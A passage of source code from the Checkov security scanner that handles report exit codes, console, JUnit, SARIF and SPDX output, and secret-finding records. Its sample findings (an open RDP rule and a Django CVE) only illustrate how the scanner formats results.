while processing the report # if we are not using enforcement rules, then we can combine licenses and vulnerabilities like normal and same as all other report types # this determination is made in runner_registry.get_fail_thresholds has_split_enforcement = CodeCategoryType.LICENSES in exit_code_thresholds hard_fail_threshold: Optional[Severity | Dict[str, Severity]] soft_fail: Optional[bool | Dict[str, bool]] if has_split_enforcement: sca_thresholds = cast(_ScaExitCodeThresholds, exit_code_thresholds) # these three are the same even in split enforcement rules generic_thresholds = cast(_ExitCodeThresholds, next(iter(sca_thresholds.values()))) soft_fail_on_checks = generic_thresholds['soft_fail_checks'] soft_fail_threshold = generic_thresholds['soft_fail_threshold'] hard_fail_on_checks = generic_thresholds['hard_fail_checks'] # these two can be different for licenses / vulnerabilities hard_fail_threshold = {category: thresholds['hard_fail_threshold'] for category, thresholds in sca_thresholds.items()} # type:ignore[index] # thinks it's an object, can't possibly be more clear soft_fail = {category: thresholds['soft_fail'] for category, thresholds in sca_thresholds.items()} # type:ignore[index] # thinks it's an object failed_checks_by_category = { CodeCategoryType.LICENSES: [fc for fc in self.failed_checks if '_LIC_' in fc.check_id], CodeCategoryType.VULNERABILITIES: [fc for fc in self.failed_checks if '_VUL_' in fc.check_id] } has_soft_fail_values = soft_fail_on_checks or soft_fail_threshold if all( not failed_checks_by_category[cast(CodeCategoryType, c)] or ( not has_soft_fail_values and not (hard_fail_threshold[c] or hard_fail_on_checks) and soft_fail[c] ) for c in sca_thresholds.keys() ): logging.debug( 'No failed checks, or soft_fail is True and soft_fail_on and hard_fail_on are empty for all SCA types - returning 0') return 0 if any( not has_soft_fail_values and not (hard_fail_threshold[c] or hard_fail_on_checks) and failed_checks_by_category[cast(CodeCategoryType, c)] for c in sca_thresholds.keys() ): logging.debug('There are failed checks and all soft/hard fail args are empty for one or more SCA reports - returning 1') return 1 else: non_sca_thresholds = cast(_ExitCodeThresholds, exit_code_thresholds) soft_fail_on_checks = non_sca_thresholds['soft_fail_checks'] soft_fail_threshold = non_sca_thresholds['soft_fail_threshold'] hard_fail_on_checks = non_sca_thresholds['hard_fail_checks'] hard_fail_threshold = non_sca_thresholds['hard_fail_threshold'] soft_fail = non_sca_thresholds['soft_fail'] has_soft_fail_values = soft_fail_on_checks or soft_fail_threshold has_hard_fail_values = hard_fail_threshold or hard_fail_on_checks if not has_soft_fail_values and not has_hard_fail_values and soft_fail: logging.debug('Soft_fail is True and soft_fail_on and hard_fail_on are empty - returning 0') return 0 elif not has_soft_fail_values and not has_hard_fail_values: logging.debug('There are failed checks and all soft/hard fail args are empty - returning 1') return 1 for failed_check in self.failed_checks: check_id = failed_check.check_id bc_check_id = failed_check.bc_check_id severity = failed_check.severity secret_validation_status = failed_check.validation_status if hasattr(failed_check, 'validation_status') else '' hf_threshold: Severity sf: bool if has_split_enforcement: category = CodeCategoryType.LICENSES if '_LIC_' in check_id else CodeCategoryType.VULNERABILITIES hard_fail_threshold = cast(Dict[str, Severity], hard_fail_threshold) hf_threshold = hard_fail_threshold[category] soft_fail = cast(Dict[str, bool], soft_fail) sf = soft_fail[category] else: hard_fail_threshold = cast(Severity, hard_fail_threshold) hf_threshold = hard_fail_threshold soft_fail = cast(bool, soft_fail) sf = soft_fail soft_fail_severity = severity and soft_fail_threshold and severity.level <= soft_fail_threshold.level hard_fail_severity = severity and hf_threshold and severity.level >= hf_threshold.level explicit_soft_fail = RunnerFilter.check_matches(check_id, bc_check_id, soft_fail_on_checks) explicit_hard_fail = RunnerFilter.check_matches(check_id, bc_check_id, hard_fail_on_checks) explicit_secrets_soft_fail = RunnerFilter.secret_validation_status_matches(secret_validation_status, soft_fail_on_checks) explicit_secrets_hard_fail = RunnerFilter.secret_validation_status_matches(secret_validation_status, hard_fail_on_checks) implicit_soft_fail = not explicit_hard_fail and not explicit_secrets_hard_fail and not soft_fail_on_checks and not soft_fail_threshold implicit_hard_fail = not explicit_soft_fail and not soft_fail_severity and not explicit_secrets_soft_fail if explicit_hard_fail or \ (hard_fail_severity and not explicit_soft_fail) or \ (implicit_hard_fail and not implicit_soft_fail and not sf): logging.debug(f'Check {check_id} (BC ID: {bc_check_id}, severity: {severity.level if severity else None} triggered hard fail - returning 1') return 1 logging.debug('No failed check triggered hard fail - returning 0') return 0 def is_empty(self, full: bool = False) -> bool: checks_count = ( len(self.passed_checks) + len(self.failed_checks) + len(self.skipped_checks) + len(self.parsing_errors) ) if full: checks_count += len(self.resources) + len(self.extra_resources) + len(self.image_cached_results) return checks_count == 0 def add_errors_to_output(self) -> str: ret_value = '' for error_title, errors_messages in self.errors.items(): ret_value += colored(f"Encountered {error_title} error - {len(errors_messages)} times\n\n", "red") return ret_value def print_console( self, is_quiet: bool = False, is_compact: bool = False, created_baseline_path: str | None = None, baseline: Baseline | None = None, use_bc_ids: bool = False, summary_position: str = 'top', ) -> str: summary = self.get_summary() output_data = colored(f"{self.check_type} scan results:\n", "blue") if self.parsing_errors: message = "\nPassed checks: {}, Failed checks: {}, Skipped checks: {}, Parsing errors: {}\n\n".format( summary["passed"], summary["failed"], summary["skipped"], summary["parsing_errors"], ) else: if self.check_type == CheckType.SCA_PACKAGE or self.check_type.lower().startswith(CheckType.SAST): message = f"\nFailed checks: {summary['failed']}, Skipped checks: {summary['skipped']}\n\n" else: message = f"\nPassed checks: {summary['passed']}, Failed checks: {summary['failed']}, Skipped checks: {summary['skipped']}\n\n" if summary_position == 'top': output_data += colored(message, "cyan") # output for vulnerabilities is different if self.check_type in (CheckType.SCA_PACKAGE, CheckType.SCA_IMAGE): if self.failed_checks or self.skipped_checks: create_cli_output = create_sca_package_cli_output_v2 output_data += create_cli_output(self.check_type == CheckType.SCA_PACKAGE, self.failed_checks, self.skipped_checks) elif self.check_type == CheckType.POLICY_3D: if self.failed_checks or self.skipped_checks: output_data += create_3d_policy_cli_output(self.failed_checks, self.skipped_checks) # type:ignore[arg-type] else: if self.check_type.lower().startswith(CheckType.SAST): output_data += colored(f"Source code files scanned: {summary.get(SOURCE_FILES_COUNT, -1)}, " f"Policies found: {summary.get(POLICY_COUNT, -1)}\n\n", "cyan") policies_errors: str = str(summary.get(POLICIES_ERRORS, "")) if policies_errors: output_data += colored(f"Policy parsing failures ({summary.get(POLICIES_ERRORS_COUNT)}):\n{policies_errors}\n\n", "red") if not is_quiet: for record in self.passed_checks: output_data += record.to_string(compact=is_compact, use_bc_ids=use_bc_ids) for record in self.failed_checks: output_data += record.to_string(compact=is_compact, use_bc_ids=use_bc_ids) if not is_quiet: for record in self.skipped_checks: output_data += record.to_string(compact=is_compact, use_bc_ids=use_bc_ids) if not is_quiet: for file in self.parsing_errors: output_data += colored(f"Error parsing file {file}\n", "red") if created_baseline_path: output_data += colored( f"Created a checkov baseline file at {created_baseline_path}", "blue", ) if baseline: output_data += colored( f"Baseline analysis report using {baseline.path} - only new failed checks with respect to the baseline are reported", "blue", ) if summary_position == 'bottom': output_data += colored(message, "cyan") return output_data @staticmethod def _print_parsing_error_console(file: str) -> None: print(colored(f"Error parsing file {file}", "red")) @staticmethod def get_junit_xml_string(ts: list[TestSuite]) -> str: return to_xml_report_string(ts) def print_failed_github_md(self, use_bc_ids: bool = False) -> str: result = [] for record in self.failed_checks: result.append( [ record.get_output_id(use_bc_ids), record.check_name, record.resource, f"[Link]({record.guideline})", record.file_path, ] ) if result: summary = self.get_summary() if self.parsing_errors: message = "Passed Checks: {}, Failed Checks: {}, Skipped Checks: {}, Parsing Errors: {}\n\n".format( summary["passed"], summary["failed"], summary["skipped"], summary["parsing_errors"], ) else: message = f"```\nPassed Checks: {summary['passed']}, Failed Checks: {summary['failed']}, Skipped Checks: {summary['skipped']}\n```\n\n" table = tabulate( result, headers=["Check ID", "Check Name", "Resource", "Guideline", "File"], tablefmt="github", ) output_data = f"### {self.check_type.replace('_', ' ').title()} Scan Results:\n\n{message}{table}\n\n---\n" return output_data else: return "\n\n---\n\n" def get_test_suite(self, properties: Optional[Dict[str, Any]] = None, use_bc_ids: bool = False) -> TestSuite: """Creates a test suite for the JUnit XML report""" test_cases = [] records = self.passed_checks + self.failed_checks + self.skipped_checks for record in records: severity = BcSeverities.NONE if record.severity: severity = record.severity.name if self.check_type == CheckType.SCA_PACKAGE: if record.check_name != SCA_PACKAGE_SCAN_CHECK_NAME: continue if not record.vulnerability_details: # this shouldn't normally happen logging.warning(f"Vulnerability check without details {record.file_path}") continue check_id = record.vulnerability_details["id"] test_name_detail = f"{record.vulnerability_details['package_name']}: {record.vulnerability_details['package_version']}" class_name = f"{record.file_path}.{record.vulnerability_details['package_name']}" else: check_id = record.bc_check_id if use_bc_ids else record.check_id test_name_detail = record.check_name class_name = f"{record.file_path}.{record.resource}" test_name = f"[{severity}][{check_id}] {test_name_detail}" test_case = TestCase(name=test_name, file=record.file_path, classname=class_name) if record.check_result["result"] == CheckResult.FAILED: test_case.add_failure_info( message=record.check_name, output=self._create_test_case_failure_output(record) ) if record.check_result["result"] == CheckResult.SKIPPED: if self.check_type == CheckType.SCA_PACKAGE: test_case.add_skipped_info(f"{check_id} skipped for {test_name_detail}") else: test_case.add_skipped_info(record.check_result.get("suppress_comment", "")) test_cases.append(test_case) test_suite = TestSuite(name=f"{self.check_type} scan", test_cases=test_cases, properties=properties) return test_suite @staticmethod def create_test_suite_properties_block(config: argparse.Namespace) -> Dict[str, Any]: """Creates a dictionary without 'None' values and sensitive data for the JUnit XML properties block""" # List of sensitive properties that should be excluded from outputs sensitive_properties = ['bc_api_key'] properties = {k: v for k, v in config.__dict__.items() if v is not None and k not in sensitive_properties} return properties def _create_test_case_failure_output(self, record: Record) -> str: """Creates the failure output for a JUnit XML test case IaC example: Resource: azurerm_network_security_rule.fail_rdp File: /main.tf: 71-83 Guideline: https://docs.bridgecrew.io/docs/bc_azr_networking_2 71 | resource "azurerm_network_security_rule" "fail_rdp" { 72 | resource_group_name = azurerm_resource_group.example.name 73 | network_security_group_name=azurerm_network_security_group.example_rdp.name 74 | name = "fail_security_rule" 75 | direction = "Inbound" 76 | access = "Allow" 77 | protocol = "TCP" 78 | source_port_range = "*" 79 | destination_port_range = "3389" 80 | source_address_prefix = "*" 81 | destination_address_prefix = "*" 82 | priority = 120 83 | } SCA example: Description: Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. Link: https://nvd.nist.gov/vuln/detail/CVE-2019-19844 Published Date: 2019-12-18T20:15:00+01:00 Base Score: 9.8 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Risk Factors: ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'] Resource: requirements.txt.django File: /requirements.txt: 0-0 0 | django: 1.2 """ failure_output = [] if self.check_type == CheckType.SCA_PACKAGE: if record.vulnerability_details: lowest_fixed_version = record.vulnerability_details.get('lowest_fixed_version') if lowest_fixed_version is not None: fix = lowest_fixed_version else: fixlist = record.vulnerability_details.get('fixed_versions') if fixlist is not None: fix = fixlist failure_output.extend( [ "", f"Description: {record.description}", f"Link: {record.vulnerability_details.get('link')}", f"Published Date: {record.vulnerability_details.get('published_date')}", f"Base Score: {record.vulnerability_details.get('cvss')}", f"Vector: {record.vulnerability_details.get('vector')}", f"Risk Factors: {record.vulnerability_details.get('risk_factors')}", "Fix Details:", f" Status: {record.vulnerability_details.get('status')}", f" Fixed Version: {fix}", ] ) else: # this shouldn't normally happen logging.warning(f"Vulnerability check without details {record.file_path}") failure_output.extend( [ "", f"Resource: {record.resource}", ] ) if record.file_path: file_line = f"File: {record.file_path}" if record.file_line_range: file_line += f": {record.file_line_range[0]}-{record.file_line_range[1]}" failure_output.append(file_line) if self.check_type != CheckType.SCA_PACKAGE: failure_output.append(f"Guideline: {record.guideline}") if record.code_block: failure_output.append("") failure_output.append(record._code_line_string(code_block=record.code_block, colorized=False)) return "\n".join(failure_output) def print_json(self) -> None: print(self.get_json()) @staticmethod def enrich_plan_report( report: "Report", enriched_resources: Dict[str, Dict[str, Any]] ) -> "Report": # This enriches reports with the appropriate filepath, line numbers, and codeblock for record in report.failed_checks: resource_raw_id = Report.get_plan_resource_raw_id(record.resource) enriched_resource = enriched_resources.get(resource_raw_id) if enriched_resource: record.file_path = enriched_resource["scanned_file"] record.file_line_range = enriched_resource["entity_lines_range"] record.code_block = enriched_resource["entity_code_lines"] return report @staticmethod def handle_skipped_checks( report: "Report", enriched_resources: Dict[str, Dict[str, Any]] ) -> "Report": module_address_len = len("module.") skip_records = [] for record in report.failed_checks: resource_raw_id = Report.get_plan_resource_raw_id(record.resource) resource_skips = enriched_resources.get(resource_raw_id, {}).get("skipped_checks", []) for skip in resource_skips: if record.check_id in skip["id"]: # Mark for removal and add it as a skipped record. It is not safe to remove # the record from failed_checks immediately because we're iterating over it skip_records.append(record) record.check_result["result"] = CheckResult.SKIPPED record.check_result["suppress_comment"] = skip["suppress_comment"] report.add_record(record) if record.resource_address and record.resource_address.startswith("module."): module_path = record.resource_address[module_address_len:record.resource_address.index('.', module_address_len + 1)] # For module with for_each or count, the module path will be module.module_name[(.*)]. We can # ignore the index and the for_each value and just use the module name as it's not possible to # skip checks for a specific instance of a module module_path = module_path.split('[')[0] module_enrichments = enriched_resources.get(module_path, {}) for module_skip in module_enrichments.get("skipped_checks", []): if record.check_id in module_skip["id"]: skip_records.append(record) record.check_result["result"] = CheckResult.SKIPPED record.check_result["suppress_comment"] = module_skip["suppress_comment"] report.add_record(record) for record in skip_records: if record in report.failed_checks: report.failed_checks.remove(record) return report @staticmethod def get_plan_resource_raw_id(resource_id: str) -> str: """ return the resource raw id without the modules and the indexes example: from resource_id='module.module_name.type.name[1]' return 'type.name' example: from resource_id='type.name['some.long.address']' return 'type.name' example: from resource_id='module.module_name['some.long.address']'.type.name return 'type.name' example: from resource_id='module.module_name['some.long.address']'.type.name[1] return 'type.name' """ if '[' in resource_id: # remove any information inside brackets resource_id = resource_id[:resource_id.index('[')] + resource_id[resource_id.index(']') + 1:] # take last two elements resource_raw_id = ".".join(resource_id.split(".")[-2:]) if '[' in resource_raw_id: # cut string at bracket start resource_raw_id = resource_raw_id[:resource_raw_id.index('[')] return resource_raw_id @classmethod def from_reduced_json(cls, json_report: dict[str, Any], check_type: str) -> Report: report = Report(check_type) report.image_cached_results = json_report['image_cached_results'] all_json_records = json_report["checks"]["passed_checks"] + \ json_report["checks"]["failed_checks"] + \ json_report["checks"]["skipped_checks"] for json_record in all_json_records: report.add_record( Record.from_reduced_json(json_record) ) return report def merge_reports(base_report: Report, report_to_merge: Report) -> None: base_report.passed_checks.extend(report_to_merge.passed_checks) base_report.failed_checks.extend(report_to_merge.failed_checks) base_report.skipped_checks.extend(report_to_merge.skipped_checks) base_report.parsing_errors.extend(report_to_merge.parsing_errors) base_report.image_cached_results.extend(report_to_merge.image_cached_results) base_report.resources.update(report_to_merge.resources) base_report.extra_resources.update(report_to_merge.extra_resources) def remove_duplicate_results(report: Report) -> Report: def dedupe_records(origin_records: list[Record]) -> list[Record]: unique_records: Dict[str, Record] = {} for record in origin_records: record_hash = record.get_unique_string() unique_records[record_hash] = record return list(unique_records.values()) report.passed_checks = dedupe_records(report.passed_checks) report.failed_checks = dedupe_records(report.failed_checks) return report ================================================ FILE: checkov/common/output/sarif.py ================================================ from __future__ import annotations import itertools import json from typing import TYPE_CHECKING, Any from urllib.parse import quote from checkov.common.models.enums import CheckResult from checkov.common.output.cyclonedx_consts import SCA_CHECKTYPES from checkov.common.util.http_utils import valid_url from checkov.version import version if TYPE_CHECKING: from checkov.common.output.record import Record from checkov.common.output.report import Report SEVERITY_TO_SARIF_LEVEL = { "critical": "error", "high": "error", "medium": "warning", "low": "note", "none": "none", } SEVERITY_TO_SCORE = { "critical": "10.0", "high": "8.9", "medium": "6.9", "low": "3.9", "none": "0.0", } class Sarif: def __init__(self, reports: list[Report], tool: str | None) -> None: self.reports = reports self.rule_index_map: "dict[str, int]" = {} self.tool = tool if tool else "Bridgecrew" self.json = self.create_json() def create_json(self) -> dict[str, Any]: return { "$schema": "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/main/sarif-2.1/schema/sarif-schema-2.1.0.json", "version": "2.1.0", "runs": self._create_runs(), } def _create_runs(self) -> list[dict[str, Any]]: information_uri = "https://docs.bridgecrew.io" if self.tool.lower() == "bridgecrew" else "https://checkov.io" rules = self._create_rules() # needs to be invoked before _create_results() results = self._create_results() return [ { "tool": { "driver": { "name": self.tool, "version": version, "informationUri": information_uri, "rules": rules, "organization": "bridgecrew", } }, "results": results, } ] def _create_rules(self) -> list[dict[str, Any]]: rule_idx = 0 rules: "list[dict[str, Any]]" = [] for report in self.reports: if report.check_type in SCA_CHECKTYPES: for record in itertools.chain(report.failed_checks, report.skipped_checks): rule = None if record.check_id.startswith("BC_LIC"): rule = self._create_license_rule(check_type=report.check_type, record=record) elif record.check_id.startswith(("BC_VUL", "CKV_CVE")): rule = self._create_cve_rule(check_type=report.check_type, record=record) if rule and rule["id"] not in self.rule_index_map: self.rule_index_map[rule["id"]] = rule_idx rules.append(rule) rule_idx += 1 else: for record in itertools.chain(report.failed_checks, report.skipped_checks): if record.check_id not in self.rule_index_map: rule = self._create_iac_rule(check_type=report.check_type, record=record) self.rule_index_map[rule["id"]] = rule_idx rules.append(rule) rule_idx += 1 return rules def _create_iac_rule(self, check_type: str, record: Record) -> dict[str, Any]: rule = { "id": self._create_rule_id(check_type=check_type, record=record), "name": record.short_description or record.check_name, "shortDescription": { "text": record.short_description or record.check_name, }, "fullDescription": { "text": record.description or record.check_name, }, "help": { "text": f"{record.check_name}\nResource: {record.resource}", }, "defaultConfiguration": {"level": "error"}, } # Adding 'properties' dictionary only if 'record.severity' exists if record.severity: rule["properties"] = { "security-severity": SEVERITY_TO_SCORE.get(record.severity.name.lower(), "0.0"), } help_uri = record.guideline if valid_url(help_uri): rule["helpUri"] = help_uri return rule def _create_cve_rule(self, check_type: str, record: Record) -> dict[str, Any] | None: details = record.vulnerability_details if not details: # this shouldn't happen return None rule = { "id": self._create_rule_id(check_type=check_type, record=record), "name": record.short_description or record.check_name, "shortDescription": { "text": record.short_description or record.check_name, }, "fullDescription": { "text": record.description or record.check_name, }, "help": { "text": f"{record.check_name}\nResource: {record.resource}\nStatus: {details.get('status')}", }, "defaultConfiguration": {"level": "error"}, } # Add properties dictionary with security-severity cvss = details.get("cvss") if cvss: # use CVSS, if exists rule["properties"] = { "security-severity": str(cvss), } elif record.severity: # otherwise severity, if exists rule["properties"] = { "security-severity": SEVERITY_TO_SCORE.get(record.severity.name.lower(), "0.0"), } help_uri = details.get("link") if valid_url(help_uri): rule["helpUri"] = help_uri return rule def _create_license_rule(self, check_type: str, record: Record) -> dict[str, Any] | None: details = record.vulnerability_details if not details: # this shouldn't happen return None rule = { "id": self._create_rule_id(check_type=check_type, record=record), "name": record.short_description or record.check_name, "shortDescription": { "text": record.short_description or record.check_name, }, "fullDescription": { "text": f"Package {details['package_name']}@{details['package_version']} has license {details['license']}", }, "help": { "text": f"{record.check_name}\nResource: {record.resource}", }, "defaultConfiguration": {"level": "error"}, } # Adding 'properties' dictionary only if 'record.severity' exists if record.severity: rule["properties"] = { "security-severity": SEVERITY_TO_SCORE.get(record.severity.name.lower(), "0.0"), } help_uri = record.guideline if valid_url(help_uri): rule["helpUri"] = help_uri return rule def _create_results(self) -> list[dict[str, Any]]: results: "list[dict[str, Any]]" = [] for report in self.reports: for record in itertools.chain(report.failed_checks, report.skipped_checks): level = "warning" if record.severity: level = SEVERITY_TO_SARIF_LEVEL.get(record.severity.name.lower(), "none") elif record.check_result.get("result") == CheckResult.FAILED: level = "error" rule_id = self._create_rule_id(check_type=report.check_type, record=record) if not rule_id or rule_id not in self.rule_index_map: # can happen if data is missing continue result = { "ruleId": rule_id, "ruleIndex": self.rule_index_map[rule_id], "level": level, "attachments": [{"description": detail} for detail in record.details], "message": { "text": record.short_description or record.check_name, }, "locations": [ { "physicalLocation": { "artifactLocation": {"uri": quote(record.repo_file_path.lstrip("/"))}, "region": { "startLine": int(record.file_line_range[0]) or 1, "endLine": int(record.file_line_range[1]) or 1, "snippet": {"text": "".join(line for _, line in record.code_block)}, }, } } ], } if record.check_result.get("result") == CheckResult.SKIPPED: # sca_package suppression can only be enabled via flag # other runners only report in source suppression kind = "external" if record.vulnerability_details else "inSource" justification = record.check_result.get("suppress_comment") if justification is None: justification = "No comment provided" result["suppressions"] = [ { "kind": kind, "justification": justification, } ] results.append(result) return results def _create_rule_id(self, check_type: str, record: Record) -> str | None: if check_type in SCA_CHECKTYPES: details = record.vulnerability_details if not details: # this shouldn't happen return None if record.check_id.startswith("BC_LIC"): return f"{details['license']}_{details['package_name']}@{details['package_version']}".replace(" ", "_") elif record.check_id.startswith(("BC_VUL", "CKV_CVE")): return f"{details['id']}_{details['package_name']}@{details['package_version']}".replace(" ", "_") else: return record.check_id return None def write_sarif_output(self) -> None: try: with open("results.sarif", "w") as f: f.write(json.dumps(self.json)) print("\nWrote output in SARIF format to the file 'results.sarif'") except EnvironmentError as e: print("\nAn error occurred while writing SARIF results to file: results.sarif") print(f"More details: \n {e}") ================================================ FILE: checkov/common/output/secrets_record.py ================================================ from __future__ import annotations import logging import os from typing import Optional, List, Tuple, Dict, Any from termcolor import colored from checkov.common.models.enums import CheckResult from checkov.common.secrets.consts import ValidationStatus, GIT_HISTORY_NOT_BEEN_REMOVED from checkov.common.bridgecrew.severities import Severity from checkov.common.output.record import Record from checkov.common.typing import _CheckResult COMMIT_ADDED_STR = 'Commit Added' COMMIT_REMOVED_STR = 'Commit Removed' WARNING_SIGN_UNICODE = '\u26a0' TEXT_BY_SECRET_VALIDATION_STATUS = { ValidationStatus.VALID.value: colored(f'\t{WARNING_SIGN_UNICODE} This secret has been validated' f' and should be prioritized', "red"), ValidationStatus.INVALID.value: colored('\tThis is not a valid secret and can be de-prioritized', "white"), ValidationStatus.UNKNOWN.value: '\tWe were not able to validate this secret', ValidationStatus.UNAVAILABLE.value: '' } class SecretsRecord(Record): def __init__(self, check_id: str, check_name: str, check_result: _CheckResult, code_block: List[Tuple[int, str]], file_path: str, file_line_range: List[int], resource: str, evaluations: Optional[Dict[str, Any]], check_class: str, file_abs_path: str, entity_tags: Optional[Dict[str, str]] = None, caller_file_path: Optional[str] = None, caller_file_line_range: Optional[Tuple[int, int]] = None, bc_check_id: Optional[str] = None, resource_address: Optional[str] = None, severity: Optional[Severity] = None, bc_category: Optional[str] = None, benchmarks: dict[str, list[str]] | None = None, description: Optional[str] = None, short_description: Optional[str] = None, vulnerability_details: Optional[Dict[str, Any]] = None, connected_node: Optional[Dict[str, Any]] = None, details: Optional[List[str]] = None, check_len: int | None = None, definition_context_file_path: Optional[str] = None, validation_status: Optional[str] = None, added_commit_hash: Optional[str] = None, removed_commit_hash: Optional[str] = None, added_by: Optional[str] = None, removed_date: Optional[str] = None, added_date: Optional[str] = None ): super().__init__(check_id=check_id, check_name=check_name, check_result=check_result, code_block=code_block, file_path=file_path, file_line_range=file_line_range, resource=resource, evaluations=evaluations, check_class=check_class, file_abs_path=file_abs_path, entity_tags=entity_tags, bc_check_id=bc_check_id, severity=severity, details=details, caller_file_path=caller_file_path, caller_file_line_range=caller_file_line_range, resource_address=resource_address, bc_category=bc_category, benchmarks=benchmarks, description=description, short_description=short_description, vulnerability_details=vulnerability_details, connected_node=connected_node, check_len=check_len, definition_context_file_path=definition_context_file_path ) self.validation_status = validation_status self.added_commit_hash = added_commit_hash self.removed_commit_hash = removed_commit_hash self.added_by = added_by self.removed_date = removed_date self.added_date = added_date def to_string(self, compact: bool = False, use_bc_ids: bool = False) -> str: processed_record = super().to_string(compact=compact, use_bc_ids=use_bc_ids) validation_status_message = self._get_secret_validation_status_message() if validation_status_message and self.check_result["result"] == CheckResult.FAILED and os.getenv("CKV_VALIDATE_SECRETS"): # if needed insert validation status message splitted_record = processed_record.split("\n") splitted_record.insert(2, validation_status_message) processed_record = "\n".join(splitted_record) processed_record = self._add_commit_details(processed_record) return processed_record def _add_commit_details(self, processed_record: str) -> str: if not self.added_commit_hash and not self.is_empty_removed_commit(): return processed_record splitted_record = processed_record.split("\n") file_idx = 0 file_line = '' for idx, line in enumerate(splitted_record): if line.__contains__('File:'): file_idx = idx file_line = line break added = False if self.added_commit_hash: file_line = file_line + f'; {COMMIT_ADDED_STR}: {self.added_commit_hash}' added = True if self.removed_commit_hash: file_line = file_line + f'; {COMMIT_REMOVED_STR}: {self.removed_commit_hash}' added = True if added: splitted_record[file_idx] = file_line processed_record = "\n".join(splitted_record) + '\n' return processed_record def is_empty_removed_commit(self) -> bool: return (not self.removed_commit_hash) or (self.removed_commit_hash == GIT_HISTORY_NOT_BEEN_REMOVED) def _get_secret_validation_status_message(self) -> str: message = None if self.validation_status: message = TEXT_BY_SECRET_VALIDATION_STATUS.get(self.validation_status) if not message and self.validation_status != ValidationStatus.UNAVAILABLE.value: logging.debug(f'Got empty message for secret validation status = {self.validation_status}') return message or '' ================================================ FILE: checkov/common/output/spdx.py ================================================ from __future__ import annotations import itertools import logging from datetime import datetime, timezone from io import StringIO from typing import TYPE_CHECKING from uuid import uuid4 from license_expression import get_spdx_licensing from spdx_tools.spdx.model.actor import Actor, ActorType from spdx_tools.spdx.model.document import Document, CreationInfo from spdx_tools.spdx.model.package import Package from spdx_tools.spdx.model.spdx_none import SpdxNone from spdx_tools.spdx.writer.tagvalue.tagvalue_writer import write_document from checkov.common.output.extra_resource import ExtraResource from checkov.common.output.record import SCA_PACKAGE_SCAN_CHECK_NAME, Record from checkov.common.output.cyclonedx_consts import SCA_CHECKTYPES from checkov.common.output.report import Report from checkov.version import version if TYPE_CHECKING: from boolean import Expression as LicenseExpression from spdx_tools.spdx.model import SpdxNoAssertion DOCUMENT_NAME = "checkov-sbom" SPDXREF = "SPDXRef-" class SPDX: def __init__(self, repo_id: str | None, reports: list[Report]): self.repo_id = f"{repo_id}/" if repo_id else "" self.reports = reports self.document = self.create_document() self.packages: list[Package] = [] # each entry looks like '{file_name}#{package_name}#{package_version}' self._added_packages_cache: set[str] = set() def create_document(self) -> Document: creation_info = CreationInfo( spdx_version="SPDX-2.3", spdx_id="SPDXRef-DOCUMENT", name=DOCUMENT_NAME, data_license="CC0-1.0", document_namespace=f"https://spdx.org/spdxdocs/{DOCUMENT_NAME}-{version}-{uuid4()}", creators=[ Actor(ActorType.TOOL, "checkov"), Actor(ActorType.ORGANIZATION, "bridgecrew", "meet@bridgecrew.io"), ], created=datetime.now(timezone.utc), ) return Document(creation_info=creation_info) def get_tag_value_output(self) -> str: output = StringIO() self.add_packages_to_doc() write_document(document=self.document, text_output=output) return output.getvalue() def validate_licenses(self, package: Package, license_: str) -> None: if license_ and license_ not in ["Unknown license", "NOT_FOUND", "Unknown"]: split_licenses = license_.split(",") licenses: list[LicenseExpression | SpdxNoAssertion | SpdxNone] = [] for lic in split_licenses: lic = lic.strip('"') try: license_expression = get_spdx_licensing().parse(lic) if license_expression is not None: licenses.append(license_expression) except Exception as e: logging.info(f"error occurred when trying to parse the license:{split_licenses} due to error {e}") package.license_info_from_files = licenses def create_package(self, check: Record | ExtraResource) -> Package: package_data = check.vulnerability_details if not package_data: # this shouldn't happen logging.error(f"Check {check.resource} doesn't have 'vulnerability_details' set") return Package(name="unknown", spdx_id=f"{SPDXREF}unknown", download_location=SpdxNone()) package_name = package_data.get("package_name") if not package_name: # this shouldn't happen logging.error(f"Package {package_data} doesn't have 'package_name' set") return Package(name="unknown", spdx_id=f"{SPDXREF}unknown", download_location=SpdxNone()) package = Package( name=package_name, spdx_id=f"{SPDXREF}{package_name}", version=package_data["package_version"], download_location=SpdxNone(), file_name=check.file_path, ) license_ = package_data.get("licenses", "") self.validate_licenses(package=package, license_=license_) return package def add_packages_to_doc(self) -> None: for report in self.reports: for check in itertools.chain(report.passed_checks, report.skipped_checks): if report.check_type in SCA_CHECKTYPES and check.check_name != SCA_PACKAGE_SCAN_CHECK_NAME: continue package = self.create_package(check) self.add_new_package_to_list(package) for check in report.failed_checks: if report.check_type in SCA_CHECKTYPES and check.check_name != SCA_PACKAGE_SCAN_CHECK_NAME: continue package = self.create_package(check) self.add_new_package_to_list(package) for resource in sorted(report.extra_resources): package = self.create_package(resource) self.add_new_package_to_list(package) if self.packages: self.document.packages = self.packages def add_new_package_to_list(self, package: Package) -> None: """Adds a package to the list, if it not exists""" package_cache_entry = f"{package.file_name}#{package.name}#{package.version}" if package_cache_entry not in self._added_packages_cache: self.packages.append(package) self._added_packages_cache.add(package_cache_entry) ================================================ FILE: checkov/common/packaging/__init__.py ================================================ ================================================ FILE: checkov/common/packaging/version.py ================================================ # This file is dual licensed under the terms of the Apache License, Version # 2.0, and the BSD License. See the LICENSE file in the root of this repository # for complete details. # Partial copy of https://github.com/pypa/packaging/blob/21.3/packaging/version.py from __future__ import annotations import re from typing import Iterator, TYPE_CHECKING from packaging import version as packaging_version if TYPE_CHECKING: from typing_extensions import TypeAlias LegacyCmpKey: TypeAlias = "tuple[int, tuple[str, ...]]" Version = packaging_version.Version def parse(version: str) -> packaging_version.Version | LegacyVersion: """ Parse the given version string and return either a :class:`Version` object or a :class:`LegacyVersion` object depending on if the given version is a valid PEP 440 version or a legacy version. """ try: return packaging_version.Version(version) except packaging_version.InvalidVersion: return LegacyVersion(version) class LegacyVersion(packaging_version._BaseVersion): def __init__(self, version: str) -> None: self._version = str(version) self._key = _legacy_cmpkey(self._version) def __str__(self) -> str: return self._version def __repr__(self) -> str: return f"" @property def public(self) -> str: return self._version @property def base_version(self) -> str: return self._version @property def epoch(self) -> int: return -1 @property def release(self) -> None: return None @property def pre(self) -> None: return None @property def post(self) -> None: return None @property def dev(self) -> None: return None @property def local(self) -> None: return None @property def is_prerelease(self) -> bool: return False @property def is_postrelease(self) -> bool: return False @property def 